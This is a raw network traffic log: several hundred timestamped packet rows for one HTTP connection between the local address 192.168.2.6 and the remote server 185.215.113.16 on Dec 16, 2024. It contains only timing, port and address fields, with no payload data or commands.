Dec 16, 2024 15:38:29.066361904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.066411972 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.067051888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.067116022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.067150116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.067162037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.067184925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.067205906 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.067668915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.067709923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.067722082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.067727089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.067769051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.131613016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.131649017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.131663084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.131694078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.131692886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.131736040 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.131912947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.131963968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.131978035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.132008076 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.132503033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.132544041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.132548094 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.132559061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.132617950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.132662058 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.133163929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.133204937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.133213997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.133219957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.133260012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.133284092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.133996010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.134135008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.134145975 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.134145975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.134191036 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.134790897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.134812117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.134828091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.134848118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.134856939 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.134866953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.134895086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.135552883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.135637045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.135649920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.135665894 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.135690928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.135797024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.136333942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.136365891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.136379957 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.136380911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.136420012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.136444092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.137180090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.137231112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.137263060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.137278080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.137317896 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.137448072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.137928009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.137953043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.137967110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.137998104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.138029099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.138053894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.138705015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.138746023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.138753891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.138766050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.138797998 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.138837099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.139483929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.139552116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.139566898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.139576912 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.139601946 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.139625072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.140279055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.140331030 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.140340090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.140355110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.140398026 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.140513897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.141047001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.141091108 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.141105890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.141118050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.141154051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.141192913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.141849041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.141901016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.141911030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.141926050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.141958952 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.141983032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.142652035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.142693043 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.142715931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.142729044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.142779112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.142805099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.143462896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.143512011 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.143543959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.143558979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.143600941 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.143646955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.144228935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.144294024 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.198966980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.199038982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.199054956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.199150085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.199160099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.199210882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.199459076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.199548006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.199561119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.199590921 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.199754000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.199800968 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.200093985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.200150967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.200165033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.200195074 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.200259924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.200308084 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.201085091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.201165915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.201178074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.201212883 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.201256990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.201344013 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.201667070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.201724052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.201735020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.201762915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.201821089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.201864004 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.256824970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.256874084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.256890059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.256968975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.257026911 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.257076025 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.257220984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.257313013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.257328033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.257358074 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.258065939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.258080006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.258100986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.258115053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.258117914 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.258141041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.258614063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.258699894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.258714914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.258749962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.258774042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.259217978 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.259277105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.259289980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.259330988 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.259418964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.259469986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.260160923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.260206938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.260216951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.260278940 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.323613882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.323645115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.323659897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.323719025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.323765039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.323827028 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.323983908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.324093103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.324104071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.324139118 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.324470997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.324517012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.324548960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.324618101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.324665070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.324978113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.325104952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.325160980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.325170994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.325182915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.325231075 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.325736046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.325800896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.325812101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.325845003 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.325898886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.325941086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.326531887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.326630116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.326653004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.326677084 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.326690912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.326738119 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.327377081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.327436924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.327451944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.327481031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.327507019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.327559948 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.328115940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.328172922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.328187943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.328228951 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.328249931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.328289986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.328912020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.329005957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.329024076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.329051971 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.329071999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.329152107 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.329688072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.329750061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.329766035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.329798937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.329843044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.329889059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.330606937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.330622911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.330643892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.330658913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.330672026 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.330702066 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.331387997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.331468105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.331480026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.331523895 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.331545115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.331641912 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.332078934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.332161903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.332174063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.332225084 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.332230091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.332272053 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.332865000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.332942963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.332953930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.332995892 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.333019972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.333066940 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.333678961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.333734035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.333755970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.333779097 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.333818913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.333870888 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.334491968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.334563017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.334573984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.334614038 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.334649086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.334693909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.335241079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.335304976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.335335970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.335346937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.335410118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.335488081 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.336065054 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.336090088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.336179018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.391191959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.391233921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.391251087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.391277075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.391288042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.391338110 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.391447067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.391505003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.391521931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.391541004 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.391635895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.391853094 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.392174959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.392276049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.392291069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.392309904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.392314911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.392352104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.393007994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.393059969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.393076897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.393111944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.393143892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.393181086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.393814087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.393882036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.393896103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.393909931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.393928051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.393960953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.394500971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.441740990 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.449090004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.449122906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.449140072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.449207067 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.449212074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.449254990 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.449311972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.449390888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.449408054 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.449434042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.449456930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.449927092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.449942112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.449963093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.449968100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.449992895 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.450009108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.450045109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.450721979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.450803995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.450819969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.450856924 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.451242924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.451289892 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.451322079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.451334000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.451359987 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.451415062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.451982021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.452048063 CET	80	49747	185.215.113.16	192.168.2.6
